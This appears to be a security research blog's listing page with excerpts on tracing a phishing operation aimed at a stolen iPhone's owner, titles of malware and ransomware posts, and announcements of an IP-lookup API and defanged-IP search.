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Pivoting on a Phone Theft Ring

One of our affiliates recently had an iPhone stolen while on vacation. It goes without saying, once the phone has been turned off and you can't see it in Apple's Find My, best of luck getting it back. One of the issues with stealing an iPhone is the iCloud Activation Lock. When you enable Find My, the device is linked to your iCloud account and you must manually disable it before the phone can be transferred to another person.  A few days after the phone was stolen, the new phone received an SMS phishing message with the following URL: hxxps://[.]us/?id=XXXXX In our instance, we had a five-digit ID number that started with the number 8. We began to attempt iterations of the 5-digit ID and sure enough, we got a valid HTTP 200 response on the first attempt: When navigating to the resolving IP, we noted there was a wildcard certificate in place for a bunch of other domains: Stepping back, let’s look at the root domain of the original phishing page, . The
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AndroxGh0st – Stealing your AWS Key Pairs for Simple Email Service

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300 Days of New Web Honeypots

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API Additions - IP Location (

In an effort to continually extend our service, we recently added additional API methods that allow users to search for information about their public IP address, or look up data about others. The API methods are documented at . To summarize the available methods: GET Returns a JSON response with information for your IP GET Returns only your IP GET Returns a JSON response with information for the IP you specify Can be leveraged with CLI tools, scripts, etc.

Inside a Compromised RDP Server - Bruteforcing Leads to LockBit Ransomware

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Search Update: Support for Defanged IPs

More frequently, we find a need to Fang IP addresses before they can be searched on the site. For those not familiar with the term, check out  IOC Fang: Indicator of Compromise (De)Fanging Project . Here's an easy way to think of it, something with fangs could have a negative impact (e.g. inadvertently clicking a link), versus something that is defanged would not have a negative impact if clicked. A quick breakdown of the concept is as follows: Fanging: 195.54.160[.]149 -> Defanging: -> 195.54.160[.]149 On our backend, indicators are stored in a Fanged format. However, since users will come across indicators on various platforms, there is no guarantee on whether or not the indicator will be Fanged or Defanged. Therefore we have enabled searching for Defanged IP addresses that use square brackets  natively from our homepage.  Please note, the bulksearch and API based lookup methods still only support Fanged IP addresses at the time.